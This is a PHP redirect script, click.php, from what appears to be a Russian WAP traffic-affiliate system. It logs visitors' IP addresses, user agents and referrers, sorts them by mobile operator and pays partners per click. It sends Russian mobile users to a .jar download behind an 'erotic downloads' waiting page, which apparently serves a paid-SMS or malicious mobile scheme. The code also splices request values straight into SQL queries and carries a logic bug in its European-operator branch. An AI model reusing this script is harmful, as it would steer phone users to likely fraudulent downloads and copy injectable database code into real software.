View file click.php

File size: 6.22Kb
<?php
include ("func/ini.php");
### Показ страницы перехода ###
// on-off
$perehod="off";
#### Сайты для ОпСоСов ####
$sites_opsos=array(
'http://download.jep.ru/4860/jamm.jar',
'http://download.jep.ru/4860/jamm.jar',
'http://download.jep.ru/4860/jamm.jar',
'http://download.jep.ru/4860/jamm.jar'
);
$s_opsos=rand(0,3);
$url_opsos=$sites_opsos[$s_opsos];
#### Сайты для OperaMini ####
$sites_opera=array(
'http://wmtraf.cn',
'http://wmtraf.cn',
'http://wmtraf.cn',
'http://wmtraf.cn'
);
$s_opera=rand(0,3);
$url_opera=$sites_opera[$s_opera];
#### Сайты для Прочих ####
$sites_other=array(
'http://wmtraf.cn',
'http://wmtraf.cn',
'http://wmtraf.cn',
'http://wmtraf.cn'
);
$s_other=rand(0,3);
$url_other=$sites_other[$s_other];
###################################################
if(!isset($_GET['check'])){
$tmp_file = strtolower(md5(uniqid(time)));
$tmp_fd = fopen('./go/'.$tmp_file,'w');
$data['id'] = intval($_GET['id']);
$data['refer'] = an($_SERVER['HTTP_REFERER']);

#$data['ip'] = @$_SERVER['REMOTE_ADDR'];
#$ua = explode('/',addslashes(@$_SERVER['HTTP_USER_AGENT']));
#$data['ua'] = $ua[0];
fputs($tmp_fd,serialize($data));
###################################################
header("Content-type: text/vnd.wap.wml; charset=utf-8");
header("Cache-Control: no-cache");
if ($perehod=="on"){
echo '<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml1.2.dtd">
<wml>
<head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/></head>
<card id="index" title="wmTRAF,cn" ontimer="click.php?check='.$tmp_file.'">
<timer value="1"/>
<p align="left"><small>ВХОД В МИР ЭРОЗАГРУЗОК 2007-2008<br/><br/>ЖДИТЕ....</small><br/>
</p></card></wml>';
}else{
header ("Location: click.php?check=$tmp_file");
}}else{
$check = str_replace('.','',$_GET['check']);
$data = @unserialize(file_get_contents('./go/'.$check));
@unlink('./go/'.$check);
if($data){
$agent = an($_SERVER['HTTP_USER_AGENT']);
$ip = an($_SERVER['REMOTE_ADDR']);
$id = intval($data['id']);
$referer = $data['refer'];
}else{
header ("Location: click.php?check=$tmp_file");
die();
}
//База айпи
include ("func/oper.php");
//Урл для переадресациии
$url = $url_opsos;
if ($oper=='32') { $url = $url_opera; }
if ($oper=='0') { $url = $url_other; }
//Запись в логи
$datepp=date("Ymd");
if ($data['refer']!=''){
$fp = fopen ("stlogsto/".$id.".log", "a+");
if ($oper==0) $oper_name="<b>HE OPSOS!</b>";
fwrite ($fp, $date." || ".$oper_name." ||".$agent." || ".$ip." ||<b> ".$referer." </b>\n");
fclose ($fp);
}else{$k=1;}
//Проверка накрутки
$q = mysql_query("select *,INET_NTOA(`ip`) AS `ip` from `statistika` where (`id`='$id' && DATE(`date`)=CURRENT_DATE);");
while ($row = mysql_fetch_array($q)){
$ip_stat = $row['ip'];
$agent_stat = $row['agent'];
#if ($ip_stat==$ip && $agent_stat==$agent){    IP + UA
if ($ip_stat==$ip){$k=1;}                        #IP
}
//Запись в базу
if (($otk[$oper]!=0) && $k!=1){
$qi = mysql_query("select * from `uzvers` where `id`='$id';");
$row=mysql_fetch_array($qi);
$partid = $row['partid'];
$ppid = $row['ppid'];
$all = $cena[$oper]/$c;
$timer = date("H:i");
mysql_query("insert into statistika set id='$id',date=NOW(),agent='$agent',oper='$oper',ip=INET_ATON('$ip'),referer='$referer'");
mysql_query("UPDATE `uzvers` SET `allmonth`=`allmonth`+'$all' WHERE `id`='$id';");
$partall=$cena[$oper]/$c/100*$partproc;
mysql_query("UPDATE `uzvers` SET `allmonth`=`allmonth`+'$partall' WHERE `id`='$partid';");
}
//Управление трафиком =)
$q = mysql_query("select * from traf where (`vkl`='1' && `zayavka`='0') ;");
$traf = mysql_fetch_array($q);
$trff = intval($traf['num']);
if ($trff != 0){
# Отправляем Оперу Мини
if ($traf['oper'] == 'comp'){
if ($oper == 1){
$url = $traf['link'];
mysql_query("UPDATE `traf` SET `num`=`num`-1 WHERE `id`='".$traf['id']."';");
header ("Location: ".$url);
die();
}
}
# Отправляем все российские операторы
if ($traf['oper'] == 'ru'){
if ( ($oper == 1) || ($oper == 2) || ($oper == 3) || ($oper == 4) || ($oper == 5) || ($oper == 6) || ($oper == 7) || ($oper == 8) || ($oper == 9) ||
($oper == 10) || ($oper == 11) || ($oper == 12) || ($oper == 13) || ($oper == 14) || ($oper == 15) || ($oper == 16) || ($oper == 37) || ($oper == 38) ||
($oper == 42) || ($oper == 45) || ($oper == 46) || ($oper == 47) || ($oper == 48) || ($oper == 49) || ($oper == 50) || ($oper == 82) )
{
$url = $traf['link'];
mysql_query("UPDATE `traf` SET `num`=`num`-1 WHERE `id`='".$traf['id']."';");
header ("Location: ".$url);
die();
}
}
# Отправляем все европейские операторы
if ($traf['oper'] == 'eu'){
if ( ($oper != 1) || ($oper != 2) || ($oper != 3) || ($oper != 4) || ($oper != 5) || ($oper != 6) || ($oper != 7) || ($oper != 8) || ($oper != 9) ||
($oper != 10) || ($oper != 11) || ($oper != 12) || ($oper != 13) || ($oper != 14) || ($oper != 15) || ($oper != 16) || ($oper != 37) || ($oper != 38) ||
($oper != 42) || ($oper != 45) || ($oper != 46) || ($oper != 47) || ($oper != 48) || ($oper != 49) || ($oper != 50) || ($oper != 82) )
{
$url = $traf['link'];
mysql_query("UPDATE `traf` SET `num`=`num`-1 WHERE `id`='".$traf['id']."';");
header ("Location: ".$url);
die();
}
}
# Отправляем Билайн
if ($traf['oper'] == 'bee'){
if ($oper == 2){
$url = $traf['link'];
mysql_query("UPDATE `traf` SET `num`=`num`-1 WHERE `id`='".$traf['id']."';");
header ("Location: ".$url);
die();
}}
# Отправляем МТС
if ($traf['oper'] == 'mts'){
if ($oper == 5){
$url = $traf['link'];
mysql_query("UPDATE `traf` SET `num`=`num`-1 WHERE `id`='".$traf['id']."';");
header ("Location: ".$url);
die();
}}
# Отправляем Мегафон
if ($traf['oper'] == 'mega'){
if ($oper == 1){
$url = $traf['link'];
mysql_query("UPDATE `traf` SET `num`=`num`-1 WHERE `id`='".$traf['id']."';");
header ("Location: ".$url);
die();
}}
# Отправляем всех
if ($traf['oper'] == 'all'){
$url = $traf['link'];
mysql_query("UPDATE `traf` SET `num`=`num`-1 WHERE `id`='".$traf['id']."';");
header ("Location: ".$url);
die();
}}else{
mysql_query("UPDATE `traf` SET `vkl`=0 WHERE `id`='".$traf['id']."';");
}
header ("Location: ".$url);
}
?>